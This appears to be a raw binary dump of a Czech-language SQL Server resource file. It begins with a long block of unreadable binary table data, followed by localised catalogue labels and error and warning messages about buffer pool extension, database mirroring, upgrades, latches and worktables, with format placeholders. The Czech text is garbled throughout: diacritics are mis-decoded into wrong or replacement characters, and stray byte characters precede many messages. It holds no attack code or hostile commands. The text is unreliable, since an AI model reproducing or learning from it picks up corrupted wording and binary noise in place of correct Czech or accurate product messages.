T�T�09%T�T��;%T�T�@%T�T�D%!T�'T��E%)T�0T�pQ%9T�9T��[%<T�<T�@\%?T�?T��^%AT�HT��a%JT�QT��o%]T�aT�̅%cT��T���%�T��T�0�%�T��T���%�T��T�h�%�T��T�H�%�T��T��%�T��T��%�T��T���%�T��T��%�T��T�D�%�T��T�\�%�T��T��&�T��T�&�T��T�&�T�U�\&U�U�(5&U�U�7&U�U�|9&U�U�H;&U�U��<&U�0U�8B&2U�9U��m&;U�DU��v&FU�PU�x�&RU�XU���&ZU�\U�<�&_U�`U���&bU�cU�l�&eU��U���&�U��U��&�U��U�$�&�U��U���&�U��U��&UV�lV�(�&�V��V�0�&�V��V��&�V��V�t�&W�<W�H�&�W��W��
'�W�X��'X�X��+'X�/X��6'2X�7X�pO':X�;X��_'Y�Y��b'Y�Y� i'Y�Y�lm' Y� Y��n'+Y�6Y�to'8Y�=Y�X�'BY�CY�Ѝ'FY�FY�|�'JY�LY���'NY�QY��'uY�xY�T�'zY�Y�H�'�Y��Y�`�'�Y��Y�$�'�Y��Y��'�Y��Y�D�'�Y��Y���'�Y��Y��'�Y��Y�-(<Z�MZ�4.(�Z��Z�@5(�[��[�H;(�[��[�>(�[��[�,?(�[��[�\?(�[��[��?(�[��[�$@(�[��[�d@(�[��[��@(\�\�LA(\�\��A(#\�$\�TB(�]��]�C(�a��a��D(�a��a��G(�a��a��O(�a��a�0S(�a��a��b(d�d�Xj(d�d�q(d�$d��s('d�,d��y(.d�3d�~(5d�;d���(@d�@d���(cd�cd�4�(ed�qd�؇(sd�wd�<�(yd��d��(�d��d�@�(�e��e�@�(�e��e��(�e��e��(�e��e���(�e��e�H�(�e��e� �(�e��e���(�e��e��(�e��e�H�(�e��e���(�e��e���(�e��e�(�(�e��e���(�e��e���(�e��e�P�(�e��e���(�e��e���(�e��e���(yi��i���(�i��i���(�i��i���(�i��i�,)�i��i�\)�i�j�  )	j�j��()j�j�.)j�j��6)j�%j��:)'j�Jj��@)Lj�kj�Y)nj�nj��s)sj�tj��t)wj�yj�4v){j�}j��w)�j��j��y)�j��j��{)�l��l��|)�l��l�0})`m�um��})xm�ym���)�m��m�А)�m��m�h�)�m��m��)�m��m��)�m��m���)�m��m��)�m��m� �)�m��m��)�n��n�@�)�n��n�0�)Vo�Xo��)Zo�Zo���)�o��o�t�)�o��o�̼)�o��o�$�)�o��o���)�o��o���)p�!p���)#p�*p��),p�9p���)�p��p���)�p��p���)�p��p�(�)�p��p�8�)q�q���)q�	q��)q�q���)q�q�@�)q�q��*q�$q��**q�*q��*,q�4q�*Iq�Iq�4*Kq�Lq�X
*�q��q��
*r�r�*&r�'r��*+r�+r��*0r�5r�@*7r�7r��"*9r�?r�#*Ar�Jr��'*Lr�Ur�.*Xr�er�03*tr�}r�<D*r��r�dH*�r��r�J*�r��r��Q*=s�=s�<S*�s��s��S*3u�9u�8T*Du�Du�p[*Gu�Ju��[*Lu�Wu��e*[u�_u�Ѐ*au�eu�܇*ju�nu���*pu�pu���*uu�uu���*wu�wu���*yu�zu�P�*}u�}u�X�*�u��u���*�u��u��*�u��u���*�u��u�h�*�u��u���*�u��u���*�u��u���*y�.y��*�y��y��*�y��y�d�*}�}��*	}�}�d�*}�}���*}�}���* }�2}�,�*4}�8}�,�*�����*�����l+
�� ���+#��(��$)+-��7���0+:��<���<+?��A���@+E��E��PC+K��K��\D+M��W��,F+[��c��O+g��t��([+v��x��,g+{������h+������Du+������T�+������(�+������x�+������0�+������0�+������X�+ā�Ł�П+ǁ�Ɂ� �+ˁ����\�+�����|�+������+������+�����+!��4��t�+y������+������
,������\,�������,݂��� ),���
��K,����|b,����8m,��!���n,$��%��t,+��.�� v,4��4���{,ф�Ԅ��|,ڄ����~,������,5��8��x�,U��U��d�,���Ĉ�̉,����D�,������<�,������|�,������t�,������d�,������h�,��������,������0�,������P�,������P�,ĉ�ʼn��,lj�ȉ��,ˉ�ԉ��,։�ډ��-܉���,-����P%-��!��T-#��0���~-2��8���-:��F��Ȑ-L��L��(�-T��U��D�-[��f��Ȩ-i��n����-v��v����-y��{��ԫ-������\�-������8�-������h�-��������-�������-������-��������-�����p�-Q��T��X�-���Α���-q��r��`�-Y��Z����-\��\����-_��j����-l��m����-o��s����-w�����@.������T.������.������$.���ݘ�@.@��Y���6.\��v��|C.x��z��T.|������U.������$m.������4q.�����4t.	�����.m��z����.5��b����.d��i����.k��k��L�.n��o����.q�������.������<�.�������.����� %/�����p5/����9/a��r���>/t��y��pM/{��{��<P/�������P/�������W/������^/(��A����/C��W���.0`��a��8n0d��d��dt0f��q���w0u�������0������Ļ0�������0��������0������D�0������ �0��������0������h�0������,�0������,�0������1���Ѡ��1Ӡ�ՠ�C1٠���LI1�����^1�����s1������1�����H�1T��W���1Y��Z����1\��w��\�1y�������1��������1������0�1������t�1���ԡ�@�1��!��l2������\2������(*2������P,2������d02������\62������L92������@;2������P?2�������?2������E2������`H2¢�Ƣ��P2�����U2I��\��p_2^��w��ts2y������2������D�2�������2���ʣ���2̣�У���2��2��T�2�����d�2ɯ�Я�|�2֯������2-��C���
3E������3������8d3��������3�������4���ϵ��4ѵ�ѵ��4	��%��<43��K��l4m��s��0!4u��y���&4|�����X,4Ѷ����448��8��@@4:��G��A4I��M���L4�����hQ4��'���{4)��)���4a��c�� �4�������4]��]���4a��f����4�������4����T�4�������4����h�4����,�4����د4����ش4&��&��4�44��5��T�4}�dn�

Server

@PYevzet� slu~eb pYi selh�n�

 PYihl�aen�

}�dn�

Z�loha

SQLsnmp

Matice

pYijmout


�st

0pY�kaz datab�ze USE

\procedura, funkce nebo aktiva
n� ud�lost

Pindexovan� zobrazen� nebo indexy ve po
�tan�ch sloupc�ch nebo filtrovan� indexy nebo ozn�men� dotazo nebo metody datov�ho typu XML nebo operace prostorov�ho indexu

@operace prostorov�ho indexu

$klauzule INTO

0pY�kaz SELECT INTO

mo~nost

(mo~nost posunu

0mo~nost statistiky

$n�zev funkce

<varbinary (128) NOT NULL

parametr

0pYev�st specifikaci

index

tabulka

datab�ze

procedura

,aktiva
n� ud�lost

zobrazen�

v�choz�

pravidlo

,syst�mov� tabulka

 nezn�m� typ

 mo~nost SET

sloupec

typ

$Yetzec znako

 cel� 
�slo

$identifik�tor


�slo

indexy

objekt

@n�zev pYeddefinovan� funkce

,agrega
n� funkce

XML INDEX

typ CLR

0kolekce sch�mat xml

(EXTENDED INDEX

$SPATIAL INDEX

 prostorov�

4d�vka provodce pl�nem

4geometrie a geografie

0priorita konverzace

(skupina tabulek

pYiYazen�

,deklarace kurzoru

(filtr replikace

0pYiYazen� promnn�

 statistika

soubor

(skupina souboro

server

zapsat

funkce

(kolace datab�ze

vyYadit

upravit

 typ zpr�vy

kontrakt

slu~ba

fronta

<funkce vracej�c� tabulku

0ozn�men� o ud�losti

synonymum

z�mek

vl�kno

Dvyrovn�vac� pame komunikace

pkritick� sekce modulu CLR (Common Language Runtime)

$sch�ma odd�lu

(verze protokolu

vytvoYit

trasa

4vazba vzd�len� slu~by

Inici�tor

C�l

Lhostitelsk� synchroniza
n� objekt

8generick� objekt 
ek�n�

(aplika
n� role

sch�ma

u~ivatel

HpYihlaaovac� u~ivatelsk� jm�no

 certifik�t

role

naj�t

 koncov� bod

$sql:promnn�

 sql:sloupec

(obor n�zvo XML

sestaven�

0fulltextov� katalog

pYenos

XKumulovan� doba 
ek�n� (ms) za sekundu

PPo
et zah�jen�ch 
ek�n� za sekundu

@Po
et prob�haj�c�ch 
ek�n�

<Promrn� doba 
ek�n� (ms)

\Kumulovan� doba prov�dn� (ms) za sekundu

TPo
et zah�jen�ch �loh Exec za sekundu

DPo
et prob�haj�c�ch �loh Exec

DPromrn� doba prov�dn� (ms)

4pY�kaz INSERT SELECT

Ltabulka nebo indexovan� zobrazen�

 komponenta

�Upozornn� standardu FIPS: Implicitn� pYevod z typu %1!s! na typ %2!s!.

�Procedura %1!s! se pokusila vr�tit stav NULL, kter� nen� povolen. Bude nam�sto nj vr�cen stav 0.

�Upozornn�: Procedura %1!s! se pokusila vr�tit stav NULL, kter� nen� povolen. Bude nam�sto nj vr�cen stav 0.

�V r�mci prov�dn� aktiva
n� ud�losti nelze nastavit parametr NOCOUNT na hodnotu OFF, proto~e mo~nost serveru disallow_results_from_triggers m� hodnotu True nebo aktu�ln� kontext je uvnitY prov�dn� aktiva
n� ud�losti pYihl�aen� (LOGON).

�fn_trace_gettable: Doalo k chyb pYevodu k�du XML dat trasov�n� pro ud�lost 165.

�fn_trace_gettable: V re~imu vl�k�nek nen� podporov�n pYevod k�du XML dat trasov�n�.

�ek�n� na dohn�n� stavu opakov�n� pro datab�zi %1!s! trv� d�le ne~ %2!s! s pro z�znam s 
�slem LSN %3!s!.

�Dotaz bude ukon
en, proto~e se pokoua� prov�st logickou reverzi na 
iteln�m sekund�rn�m objektu.

�Pakety vy
iatn� pro osamocen� sady Y�dko v datab�zi %1!s! se nepodaYilo zaYadit do fronty. Mohlo doj�t ke znehodnocen� 
�sti m�sta na disku. PYi restartov�n� datab�ze se syst�m opt pokus� o vy
iatn�.

�V destruktoru objektu RowsetNewSS 0x%1!s! doalo k v�jimce. Tato chyba mo~e zna
it pot�~e s uvolHov�n�m pYedb~n pYidlen�ch bloko disku pou~it�ch pYi operac�ch hromadn�ho vlo~en�. Chcete-li tento probl�m vyYeait, restartujte server.

�Pracovn� tabulka s ID odd�lu %1!s! byla po %2!s! opakovan�ch pokusech �span vyYazena.

�PYi pokusu o vyYazen� pracovn� tabulky s ID odd�lu %1!s! doalo k chyb.

�NepodaYilo se vyYadit pracovn� tabulku s ID odd�lu %1!s! ani po opakovan�ch pokusech. Pracovn� tabulka je ozna
ena pro odlo~en� vyYazen�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Na konci d�vky byla nalezena aktivn� sada Y�dko pro ID odd�lu %1!s!. Tato chyba mo~e znamenat nespr�vn� zpracov�n� v�jimek. Chcete-li ukon
it identifik�tor procesu serveru (SPID), kter� je zodpovdn� za generov�n� t�to chyby, pou~ijte okno aktu�ln� aktivity v aplikaci SQL Server Management Studio, pY�padn pY�kaz KILL jazyka Transact-SQL.

PYi pokusu vyYadit ID aloka
n� jednotky %4!s!, kter� patY� do pracovn� tabulky s ID odd�lu %5!s!, doalo k chyb [%1!s!, %2!s!, %3!s!].

Na serveru nen� dostatek virtu�ln�ho adresn�ho prostoru nebo v po
�ta
i nen� dostatek virtu�ln� pamti. Rezervovan� pame byla od posledn�ho spuatn� pou~ita %1!s!kr�t. Zruate dotaz a znovu jej spusete, sni~te zat�~en� serveru nebo zruate jin� aplikace.

Hsimulovan� chyba (pouze DEBUG)

0
ek� se na obnoven�

�chyba auditu (doalo k chyb bhem z�kladn� kontroly integrity str�nky 
ten� z disku)

t(v jednotce nen� disk nebo je vlo~en nespr�vn� disk)

,PYenesl se nedostate
n� po
et bajto. Mezi obvykl� pY�
iny patY� konfigurace z�lohov�n�, m�lo m�sta na disku nebo jin� probl�my s podsyst�mem �lo~iat, jako je poakozen� nebo selh�n� hardwaru. Vyhledejte v protokolech chyb a aplikac� podrobn� zpr�vy a opravte chybov� stav.

�Doalo k �span�mu 
ten� souboru %1!s! na posunu %2!s! po %3!s! chybov�ch pokusech. %4!s!. Podrobnja� informace mo~ete naj�t ve zpr�v�ch protokolu chyb syst�mu SQL Server nebo v protokolu chyb opera
n�ho syst�mu. Tento chybov� stav ohro~uje integritu datab�ze a mus� b�t opraven. Dokon
ete �plnou kontrolu konzistence datab�zov�ch souboro (pY�kaz DBCC CHECKDB). Tato chyba mo~e b�t zposobena mnoha faktory. Dala� podrobnosti naleznete na webu Knihy online pro SQL Server.

�nespr�vn� parametr pageid (o
ek�v�no %1!s!:%2!s!; zad�no %3!s!:%4!s!)

Dzastaral� str�nka (
ten� str�nky vr�tilo poYadov� 
�slo polo~ky (LSN) (%1!s!:%2!s!:%3!s!), kter� je stara� ne~ posledn� zapsan� polo~ka (%4!s!:%5!s!:%6!s!))

SQL Server zaznamenal %1!s! v�skyto V/V po~adavko, jejich~ dokon
en� trvalo d�le ne~ %2!s! s na souboru [%3!s!] v datab�zi s ID %4!s!. Syst�mov� popisova
 souboru je 0x%5!s!. Offset posledn� dlouh� V/V operace: %6!s!. Doba trv�n� dlouh� V/V operace je: %7!s! ms.

�ID datab�ze %1!s!, zastaral� str�nka %2!s! proch�z� obnoven�m.

|Doalo k vypraen� 
asov�ho limitu pYi 
ek�n� na z�padku vyrovn�vac� pamti   typ %1!s!, bp %2!s!, str�nka %3!s!:%4!s!, statistika %5!s!, ID datab�ze: %6!s!, ID aloka
n� jednotky: %7!s!%8!s!, �loha 0x%9!s!: %10!s!, doba 
ek�n� %11!s! s, pY�znaky 0x%12!s!, vlastn�c� �loha 0x%13!s!. Syst�m bude pokra
ovat v 
ek�n�.

�Doalo k vypraen� 
asov�ho limitu pYi 
ek�n� na z�padku vyrovn�vac� pamti   typ %1!s!, bp %2!s!, str�nka %3!s!:%4!s!, statistika %5!s!, ID datab�ze: %6!s!, ID aloka
n� jednotky: %7!s!%8!s!, �loha 0x%9!s!: %10!s!, doba 
ek�n� %11!s! s, pY�znaky 0x%12!s!, vlastn�c� �loha 0x%13!s!. Syst�m nebude pokra
ovat v 
ek�n�.

�Doalo k vypraen� 
asov�ho limitu pYi 
ek�n� na z�padku: tY�da %1!s!, ID %2!s!, typ %3!s!, �loha 0x%4!s!: %5!s!, doba 
ek�n� %6!s! s, pY�znaky 0x%7!s!, vlastn�c� �loha 0x%8!s!. Syst�m bude pokra
ovat v 
ek�n�.

`Pou~it� velk�ch str�nek ve spr�vci pamti.

dPou~it� uzam
en�ch str�nek ve spr�vci pamti.

hBylo pYidleno %1!s! MB pamti velk�ch str�nek.

hstr�nka je v OFFLINE souboru, kter� nelze 
�st

`Pou~it� konven
n� pamti ve spr�vci pamti.

�PYi na
�t�n� z�padky doalo k chyb z dovodu pY�lia velk�ho po
tu soub~n�ch z�padek. Typ %1!s!, �loha 0x%2!s!: %3!s!

Po
�ta
 podporuje obnoven� po chyb pamti. Je povolena ochrana pamti jazyka SQL, kter� umo~n� obnoven� po poakozen� pamti.

PBylo zjiatno neopraviteln� hardwarov� poakozen� pamti. Mo~e doj�t k poruaen� stability syst�mu. Dala� podrobnosti naleznete v protokolu chyb opera
n�ho syst�mu.

`Syst�m SQL Server zjistil hardwarov� poakozen� pamti v datab�zi %1!s!, ID souboru: %2!s!, ID str�nky: %3!s!, adresa pamti: 0x%4!s! a pY�sluanou str�nku �span obnovil.

�Roza�Yen� fondu vyrovn�vac� pamti %1!s! o velikosti %2!s! MB bylo �span inicializov�no.

�VytvoYen� roza�Yen� fondu vyrovn�vac� pamti o velikosti %1!s! MB v um�stn� %2!s! se nezdaYilo.

Form�t konfigurace roza�Yen� fondu vyrovn�vac� pamti %1!s! nen� spr�vn�. Spr�vn� form�t je <adres�Y roza�Yen�>,<velikost v GB>.

(%1!s!. adresa BUF %2!s!. Bufno %3!s!. Pozice roza�Yen�: %4!s!. K�d chyby: %5!s!. ID souboru datab�ze: %6!s!. Pozice v souboru datab�ze: %7!s!.

4Velikost roza�Yen� fondu vyrovn�vac� pamti nesm� b�t vta� ne~ velikost fyzick� pamti   %1!s! MB. Roza�Yen� fondu vyrovn�vac� pamti nen� povoleno.

�Pokus o zak�z�n� roza�Yen� fondu vyrovn�vac� pamti ve stavu %1!s! nen� povolen.

�Pokus o povolen� roza�Yen� fondu vyrovn�vac� pamti ve stavu %1!s! nen� povolen.

Probhl pokus o inicializaci roza�Yen� fondu vyrovn�vac� pamti o velikosti %1!s! kB, ale maxim�ln� povolen� velikost je %2!s! kB.

�Roza�Yen� fondu vyrovn�vac� pamti je podporov�no pouze v edic�ch Standard a Enterprise syst�mu SQL Server.

�Roza�Yen� fondu vyrovn�vac� pamti nen� v architektuYe %1!s! podporov�no.

�Roza�Yen� fondu vyrovn�vac� pamti bylo �span zak�z�no. Prob�h� odstraHov�n� roza�Yen� fondu vyrovn�vac� pamti %1!s!.

TVelikost roza�Yen� fondu vyrovn�vac� pamti nesm� b�t vta� ne~ aktu�ln� mezn� hodnota pYidlen� pamti   %1!s! MB. Roza�Yen� fondu vyrovn�vac� pamti nen� povoleno.

Roza�Yen� fondu vyrovn�vac� pamti %1!s! nelze zavY�t, proto~e asynchronn� vstupn-v�stupn� operace objektu %2!s! nejsou vyY�zeny.

HPYep�na
 funkce BPE je zapnut�!

�Velikost fondu vyrovn�vac� pamti podle nastaven� RG je %1!s! GB (%2!s! B).

�Roza�Yen� fondu vyrovn�vac� pamti je u~ povolen�. Nen� nutn� ~�dn� akce.

�Roza�Yen� fondu vyrovn�vac� pamti je u~ zak�zan�. Nen� nutn� ~�dn� akce.

�Nepovedlo se inicializovat roza�Yen� odoln�ho fondu vyrovn�vac� pamti v cest %1!s! o velikosti %2!s! MB.

�Bylo �span spuatno roza�Yen� odoln�ho fondu vyrovn�vac� pamti %1!s! o velikosti %2!s! MB.

�Nepovedlo se spustit roza�Yen� odoln�ho fondu vyrovn�vac� pamti o velikosti %1!s! MB v cest %2!s!.

�Bylo �span povoleno roza�Yen� odoln�ho fondu vyrovn�vac� pamti %1!s! s velikost� %2!s! MB.

�Nepovedlo se vytvoYit roza�Yen� odoln�ho fondu vyrovn�vac� pamti o velikosti %1!s! MB v cest %2!s!.

�Nepovedlo se spustit roza�Yen� odoln�ho fondu vyrovn�vac� pamti, proto~e datab�ze %1!s! nen� pameov optimalizovan�.

�Roza�Yen� odoln�ho fondu vyrovn�vac� pamti je u~ zak�zan�. Nen� nutn� ~�dn� akce.

Nejde vytvoYit tabulku Write Page Recorder: wpr_bucket_table pro datab�zi %1!s!, vnitYn� chyba: %2!s!, vnitYn� stav: %3!s!. Z %4!s!.

�Roza�Yen� odoln�ho fondu vyrovn�vac� pamti je u~ povoleno nebo se povoluje. Nen� tYeba ~�dn� akce.

�Nejde vytvoYit, na
�st nebo ulo~it kbel�k pro Write Page Recorder v datab�zi %1!s!.

�Roza�Yen� fondu vyrovn�vac� pamti nen� na platform %1!s! podporov�no.

\Pou~it� sd�len� pamti ve spr�vci pamti.

�Nepovedlo se uvolnit z�padku. Adresa BUF: %1!s!. ID datab�ze: %2!s!. ID souboru: %3!s!. Str�nka: %4!s!.

�Fond vyrovn�vac�ch pamt�: pYidlov�n� %1!s! bajto pro %2!s! hashPages.

�Hybridn� fond vyrovn�vac�ch pamt�: navrhuje se %1!s! hashPages pro %2!s! GiB %3!s! trval� pamti.

 Skupina souboro %1!s! v datab�zi %2!s! nen� k dispozici, proto~e je %3!s!. Chcete-li ji zpY�stupnit, obnovte nebo pozmHte skupinu souboro.

�Datab�ze %1!s! prov�d� upgrade skriptu %2!s! z �rovn %3!s! na �roveH %4!s!.

�U~ivatel %1!s! mn� polo~ku �rovn datab�zov�ho skriptu %2!s! na hodnotu %3!s!.

�Prob�h� pYevod datab�ze %1!s! z verze %2!s! na aktu�ln� verzi %3!s!.

�Datab�ze %1!s! prov�d� upgrade z verze %2!s! na verzi %3!s!.

�Verze sestaven� datab�ze prostYedko je %1!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

xUpozornn�: U~ivatel sys (principal_id = %1!s!) v datab�zi %2!s!byl pYejmenov�n na %3!s!. N�zev sys je v t�to verzi syst�mu SQL Server vyhrazen� u~ivatelsk� jm�no nebo n�zev sch�matu.

\Upozornn�: Index %1!s! (index_id = %2!s!) ID objektu %3!s! v datab�zi %4!s!byl pYejmenov�n na %5!s!, proto~e jeho n�zev je duplicitn� s jin�m indexem stejn�ho objektu.

@Upozornn�: Prim�rn� kl�
 nebo jedine
n� omezen� %1!s! (object_id = %2!s!) v datab�zi %3!s! byly pYejmenov�ny na %4!s! z dovodu pYejmenov�n� jejich indexu.

HUpozornn�: Datab�ze %1!s!byla ozna
ena jako podezYel� z dovodu akc�, ke kter�m doalo bhem upgradu. Dala� informace najdete v protokolu chyb. Chcete-li datab�zi pYev�st do re~imu online, pou~ijte pY�kaz ALTER DATABASE. Datab�ze bude pYevedena do re~imu online ve stavu restricted_user.

@Upozornn�: Nebyl nalezen syst�mov� u~ivatel %1!s!v datab�zi %2!s!. Chybj�c� u~ivatel byl obnoven. Tento u~ivatel je pro provoz syst�mu SQL Server nutn�.

Upozornn�: V metadatech indexu %1!s! (index_id = %2!s!) ID objektu %3!s! v datab�zi %4!s! byla detekov�na nekonzistence mo~nosti pou~it� hodnoty null sloupce. Pravdpodobn je index poakozen�. Chcete-li ovYit konzistenci, spusete pY�kaz DBCC CHECKTABLE.

\Upozornn�: Sestaven� %1!s!v datab�zi %2!s! bylo pYejmenov�no na %3!s!, proto~e n�zev sestaven� je v t�to verzi syst�mu SQL Server v konfliktu se syst�mov�m sestaven�m.

lUpozornn�: Index %1!s! pro %2!s!.%3!s! byl zak�z�n, proto~e na nj nav�zan� data XML mohou pro xs:date a xs:dateTime obsahovat negativn� hodnoty, kter� ji~ nejsou podporov�ny.

�Upozornn�: Omezuj�c� vlastnost k�du XML typu %1!s! v kolekci sch�mat %2!s! je aktualizov�na z %3!s! na %4!s!, proto~e syst�m Sql Server nepodporuje v r�mci hodnot typo xs:date a xs:dateTime z�porn� hodnoty roko.

�Upozornn�: V�choz� nebo pevn� hodnota elementu XML nebo atributu %1!s! v kolekci sch�mat %2!s! je aktualizov�na z %3!s! na %4!s!, proto~e syst�m Sql Server v r�mci hodnot typo xs:date a xs:dateTime nepodporuje z�porn� hodnoty roko.

�Upozornn�: Instance XML ve sloupci XML %1!s!.%2!s!.%3!s! mohou obsahovat z�porn� hodnoty jednoduch�ho typu xs:date nebo xs:dateTime. Na z�klad tchto instanc� XML nebude mo~n� spustit v�raz XQuery nebo vytvoYit prim�rn� 
i selektivn� index XML.

�Datab�ze prostYedko byla nalezena ve dvou rozn�ch um�stn�ch. Prob�h� pYipojen� datab�ze prostYedko ze stejn�ho adres�Ye jako soubor sqlservr.exe v %1!s!, nam�sto aktu�ln pYipojen� datab�ze prostYedko v %2!s!.

Doalo k chyb pYipojen� datab�ze prostYedko ve stejn�m adres�Yi jako soubor sqlservr.exe v %1!s!, proto~e soubory datab�ze neexistuj�.

�Syst�mov� objekty nebylo mo~n� v datab�zi %1!s! aktualizovat, proto~e maj� nastaven atribut jen pro 
ten�.

�Upozornn�: Pro omezen� %1!s! ID objektu %2!s! v datab�zi %3!s! nelze nal�zt pYidru~en� index.

�Spr�vce datab�ze bude pou~�vat verzi %1!s! c�lov� datab�ze.

xSoubor %1!s! byl �span nainstalov�n do slo~ky %2!s!.

<Nelze z�skat 
istou str�nku spuatn� pro datab�zi %1!s! po proveden� %2!s! pokuso. Tato zpr�va je pouze informa
n�. Nen� vy~adov�na ~�dn� akce u~ivatele.

�PYi opakovan�m prov�dn� akce pro datab�zi %1!s! se provedl krok upgradu verze z: %2!s! na: %3!s!.

�Upozornn�: Index %1!s! u %2!s!.%3!s! je zak�zan�, proto~e obsahuje vypo
�tan� sloupec.

Upozornn�: Index %1!s! u %2!s!.%3!s! je zak�zan�. Nejde ho upgradovat, proto~e je um�stn� ve skupin souboro jen pro 
ten�.

LUpozornn�: Index %1!s! u %2!s!.%3!s! je zak�zan�. Tento index columnstore nejde upgradovat asi proto, ~e pYekra
uje limit velikosti Y�dku, kter� je %4!s! bajto.

�Upozornn� standardu FIPS: X�dek %1!s! obsahuje pY�kaz %2!s!, kter� nen� zaps�n pomoc� k�dov�n� ANSI.

�Upozornn� standardu FIPS: X�dek %1!s! obsahuje klauzuli %2!s!, kter� nen� zaps�na pomoc� k�dov�n� ANSI.

�Upozornn� standardu FIPS: X�dek %1!s! obsahuje funkci %2!s!, kter� nen� zaps�na pomoc� k�dov�n� ANSI.

�Upozornn� standardu FIPS: D�lka identifik�toru %1!s! pYekra
uje hodnotu 18.

�Upozornn�: X�dek %1!s!: Mo~nost %2!s! je zastaral� a nem� ~�dn� vliv na chov�n� syst�mu.

�PYi pYidlov�n� rozsahu pracovn� tabulky doalo k chyb. Rozsah %1!s! v datab�zi TEMPDB byl mo~n� ztracen.

@PYi zkr�cen� AppendOnlyStorageUnit 0x%1!s! doalo k chyb. Pokus bude syst�mem zopakov�n. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

\PYi spuatn� nelze pYidlit %1!s! z�mek. Dojde k n�vratu ke stavu %2!s! a zapnut� pYidlen� dynamick�ho z�mku. Maxim�ln� povolen� vyu~it� pamti pYi spuatn� je %3!s!kB.

`Z�mek nen� protokolov�n: %1!s!Re~im: %2!s!

Proces s ID %1!s! byl ukon
en pY�kazem ABORT_AFTER_WAIT = BLOCKERS DDL s parametry database_id = %2!s!, object_id = %3!s!.

TByl vyd�n po~adavek na uzamknut� ABORT_AFTER_WAIT = BLOCKERS s parametry database_id = %1!s!, object_id = %2!s!. Vaechny blokuj�c� u~ivatelsk� relace budou ukon
eny.

Zrcadlen� datab�ze se pokoua� opravit fyzickou str�nku %1!s! v datab�zi %2!s! prostYednictv�m po~adavku kop�rov�n� z partnera.

0Zrcadlen� datab�ze je aktivn� a datab�ze %1!s! je nastavena jako prim�rn� kopie. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

0Zrcadlen� datab�ze je aktivn� a datab�ze %1!s! je nastavena jako zrcadlov� kopie. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Pro datab�zi %1!s! je zrcadlen� datab�ze neaktivn�. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Zrcadlen� datab�ze bylo pro datab�zi %1!s! ukon
eno. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

tObnoven� datab�ze %1!s! bude vynech�no, proto~e datab�ze je ozna
ena jako datab�ze zrcadlen�, kterou nelze obnovit. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Obnoven� datab�ze %1!s! bude vynech�no, proto~e datab�ze je ozna
ena jako nedostupn� datab�ze zrcadl�c� datab�zi. V relaci zrcadlen� vznikl probl�m. V relaci bu chyb� kvorum, nebo je z dovodu probl�mo s odkazy, konfigurac� koncov�ho bodu nebo opr�vnn�m (pro �
et syst�mu nebo certifik�t zabezpe
en�) pYeruaeno komunika
n� spojen�. Chcete-li z�skat pY�stup do datab�ze, zjistte, k jak� zmn doalo v konfiguraci relace, a vraete zmnu zpt.

�Instance serveru %1!s! ji~ pln� funkci monitorovac�ho serveru.

Zrcadlen� datab�ze �span opravilo fyzickou str�nku %1!s! v datab�zi %2!s! prostYednictv�m proveden�ho kop�rov�n� z partnera.

�Datab�ze %1!s! %2!s! mn� role z %3!s! na %4!s!, proto~e relace zrcadlen� 
i skupina dostupnosti se nezdaYila. Dovod: %5!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Zrcadlen� datab�ze nemohlo opravit fyzickou str�nku %1!s! v datab�zi %2!s!. Partnera zrcadlen� nebylo mo~n� kontaktovat nebo neposkytl kopii str�nky. Dovodem mo~e b�t nedosta
uj�c� pYipojen� k s�ti nebo poakozen� kopie ulo~en� u partnera. Chcete-li zjistit, zda jsou partneYi aktu�ln pYipojeni, prohl�dnte si sloupec mirroring_state_desc v zobrazen� katalogu sys.database_mirroring. Pokud jsou pYipojeni, pak v pY�pad, ~e chcete zjistit, pro
 nemohl partner poskytnout kopii str�nky, zkontrolujte jeho polo~ky protokolu chyb zapsan� pYibli~n v dob, kdy se zobrazila tato zpr�va. Pokuste se odstranit chybu a obnovte zrcadlen�.

�Zrcadlen� datab�ze se nepodaYilo z�skat z�mek synchronizace sn�mko.

�Informace o stavu datab�ze %1!s!   pos�len� hodnota LSN: %2!s!, potvrzen� hodnota LSN: %3!s!, 
as potvrzen�: %4!s!

�Zrcadlen� datab�ze bylo v t�to instanci syst�mu SQL Server povoleno.

�PYenos zrcadlen� datab�ze je v konfiguraci koncov�ho bodu zak�z�n.

�Zrcadlen� datab�ze spouat� jedno nebo v�ce paraleln�ch vl�ken opakov�n� (celkem %1!s!). Datab�ze %2!s! slou~� jako zrcadlov� kopie. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Zrcadlen� datab�ze je na serveru zak�z�no z dovodu chyby %1!s!. Dala� informace naleznete v protokolu chyb a konfiguraci.

�BobMgr::GetBuf: Z�pis Sort Big Output Buffer nebyl po %1!s! s dokon
en.

�V instanci syst�mu SQL Server doalo k ud�losti: %1!s! zposoben� pokusem 
�st: str�nku spouatn� Yazen� %2!s! v souboru %3!s! v datab�zi, jej�~ ID je %4!s!. Operace Yazen� se opakovan pokoua� o 
ten�.

�Upozornn�: Byla vytvoYena tabulka %1!s!, jej�~ maxim�ln� velikost Y�dku pYekra
uje povolen� maximum %2!s! bajto. Pokud v�sledn� Y�dek pYekra
uje limit velikosti, dojde pYi pokusu o operaci INSERT nebo UPDATE k chyb.

�Jako typ sloupce v promnn� tabulky nebo v definici n�vratu tabulky ve funkci vracej�c� tabulku nelze pou~�t typ alias s pravidlem ani v�choz� hodnotu s vazbou na typ sloupce. Typ %1!s! je nav�zan� na %2!s!.

�Nelze vytvoYit tabulku %1!s! obsahuj�c� pouze sloupec sady sloupco a neobsahuj�c� nepo
�tan� sloupce.

�Nelze vytvoYit omezen� nebo index. Zkontrolujte pYedchoz� chyby.

4Bude vynech�na definice omezen� FOREIGN KEY %1!s! do
asn� tabulky. Omezen� kl�
e FOREIGN KEY nejsou vynucen� v lok�ln�ch ani v glob�ln�ch tabulk�ch.

